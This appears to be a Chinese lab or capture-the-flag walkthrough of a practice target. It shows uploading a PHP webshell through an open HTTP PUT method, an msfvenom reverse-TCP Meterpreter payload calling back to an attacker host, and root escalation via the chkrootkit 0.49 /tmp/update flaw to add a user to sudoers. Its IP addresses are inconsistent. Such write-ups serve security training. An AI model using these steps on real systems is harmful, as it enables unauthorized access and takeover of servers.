主机:192.168.56.103
靶机:192.168.56.105
中间件PUT漏洞
包括apache,tomcat,IIS等中间件设置支持的HTTP方法(get,post,head,delete,put等)
每一个开放了HTTP方法都有其对应功能,PUT方法可以直接从客户机上传文件到服务器,如果中间件开放了
HTTP中的PUT方法,那么就可以利用上传webshell到服务器对应目录
扫描靶机端口:
然后常规方法nikto -host ,dirb探测敏感文件,owasp zap扫web漏洞,都发现不了什么东西,扫描只有一个网址可以进入http://192.168.136.140/test/ ,测试一下是否存在PUT漏洞
curl -v -X OPTIONS +ip地址
发现存在PUT方法
有两种方法
找了好久,发现了火狐的RESTClient可用,可以PUT,但不能直接传文件,但可以选择类型,把shell代码复制进去上传)
shell上传成功!
也可利用curl命令上传shell
msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.136.133 LPORT=443 > shell_msf.php
执行上传的shell,有两种办法 一是直接点击http://192.168.56.104/test/shell_msf.php,得到反弹的shell;另外就是使用curl命令:curl -v “http://192.168.56.104/test/shell_msf.php”
即可触发服务器端反弹TCP的操作, 在msfconsole里就会得到一个meterpreter的shell。
python -c “import pty;pty.spawn(‘/bin/bash’)”
得到交互的bash
注意:meterpreter中得到shell,需要用shell命令来得到一个交互式的shell,再用python来spawn优化生成一个bash。如上图所示
测试下sudo,可以看到sudo已经奏效。
我们发现系统要求我们输入密码,我们试图使用弱口令(空口令、123456、www-data)都不能登录www-data账户,自然也就不能使用当前用户(www-data)使用root提权的那些命令信息。
上面两图是方法,我们来尝试下,发现一个漏洞,但是这里不用这个漏洞,我们用”计划任务“方法来提权
e1.上图是原理方法,我们来尝试下,发现并不具有一个可写的计划任务
知识点扩展1:修改/etc/crontab这种方法只有root用户能用,这种方法更加方便与直接直接给其他用户设置计划任务,而且还可以指定执行shell等等,crontab -e这种所有用户都可以使用,普通用户也只能为自己设置计划任务。然后自动写入/var/spool/cron/usename。
e2.再次尝试用ls -la /etc/cron*命令显示所有包括隐藏的计划任务,发现敏感信息chkrootkit
e3.扫描漏洞chkrootkit,可以看到chkrootkit存在本地提权漏洞
e4.添加当前用户www-data到sudoers列表中
知识点扩展3:什么是rootkit
总结:
1、信息收集、端口扫描、服务识别、目录扫描
2、nmap 的http-methods.nse脚本获得目标支持的http方法,发现/test页面支持put方法
3、使用burp修改包,用put方法上传一句话或者curl 上传获得shell
4、利用chkrootkit版本0.49定期以root身份执行/tmp/update文件来提权。
1.利用msf中chkrootkit攻击模块
2.手动创建在/tmp创建update文件,然后利用自动执行update文件,在update写入添加账户到sudo组[本文用的方法]
3.使用C语言编写exp,改变/tmp的所属组为root以及增加uid为root权限,上传都目标服务器,编译然后执行,提权成功。